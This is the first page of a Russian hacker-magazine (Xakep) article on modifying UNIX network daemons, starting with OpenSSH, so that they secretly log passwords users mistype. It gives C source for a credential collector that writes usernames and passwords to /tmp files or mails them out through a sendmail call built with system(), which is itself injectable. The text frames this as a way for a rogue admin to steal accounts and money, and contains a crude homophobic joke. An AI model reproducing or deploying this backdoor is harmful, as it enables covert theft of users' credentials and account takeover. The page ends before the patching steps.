C/C++: ковыряем сетевые демоны

Константин Клягин

Xakep, номер #059, стр. 059-094-1

http://thekonst.net

Выкорчевываем пароли из сетевых программ

Скажи, амиго, ты задавался когда-нибудь вопросом, насколько автоматически люди вводят пароли? Как часто ошибаются, вводя один пароль вместо другого? "Стандартный" вместо какого-то особенного, предназначенного только для данного конкретного хоста? А теперь представь, что будет, если перехватить такой пароль. Его можно опробовать и на почтовом ящике жертвы, и на ICQ. Да что там, зная несколько ошибочных паролей и хотя бы немного о человеке, вполне реально что-то ломануть.

Еще старик Митник (до того, как его заперли в одной камере с черными гомосексуалистами, хе-хе) говорил, что самое уязвимое звено любой системы безопасности - это человек. Предположим, поюзал усиленно какой-то товарищ банкомат, а потом как баран вместо пароля на сервере вводит свой PIN. Зная номер кредитки, ушлому админу открывается сто и один прекрасный способ потратить с пользой деньги незадачливого юзера.

Окапываемся в ssh

Ну а теперь к делу. Сегодня мы будем модифицировать сетевые сервисы в UNIX, а вернее - демоны, которые их обслуживают. Причем модифицировать так, чтобы все ошибочно введенные пароли оставались достоянием истории. Нашей с тобой, конечно. Истории великих свершений, межпланетный воин и злобных хакеров.

Начнем с openssh. Да-да, ты не ослышался. Это для снифера пароли, как и весь остальной трафик, зашифрованы. Для сервера же пароль приходит в открытом виде, чтобы затем быть опознанным. Ну и, по возможности, записанным ;). Для начала возьмем исходник с www.openssh.org. Распакуем и установим его (с последним можно и повременить).

Для начала напишем небольшой интерфейс, через который мы будем собирать пароли с различных сервисов. Этот код един для всех наших последующих выкладок:

Файл trashcan.c

static void trash(const char *service, const char *user, const char *password, const char *email) {

FILE *f;

char buf[512];

if(!user || !password) retu;

if(!strlen(user) || !strlen(password)) retu;

if(email) {

sprintf(buf, "echo "user: %s; password: %s" | sendmail %s", user, password, email);

system(buf);

} else {

sprintf(buf, "/tmp/%s.passwords", service);

f = fopen(buf, "a");

if(f) {

fprintf(f, "user: %s; password: %sn", user, password);

fchmod(fileno(f), S_IRUSR | S_IWUSR | !S_IRGRP | !S_IWGRP | !S_IROTH | !S_IWOTH);

fclose(f);

}

}

}

Как видишь, кроме сохранения пароля в файле, этот код умеет высылать его и по почте куда надо, если последний параметр не NULL. fchmod() использован для установки прав доступа к файлу с паролями. Там мы избавим его от лишних глаз, которые всегда откуда-нибудь, да возьмутся.

Для достижения цели нам предстоит внести некоторые улучшения ;) прямо в исходный код программы. Для начала, конечно, с ним следует разобраться. Найдем, в каком именно месте проверяется пароль. Это несложно. Достаточно сделать поиск в файлах с расширением .c по слову "password". Логично предположить, что оно должно там присутствовать ;). Давай поступим по-юниксовому и заюзаем утилиту grep:

Содержание  Вперед на стр. 059-094-2
ttfb: 3.0879974365234 ms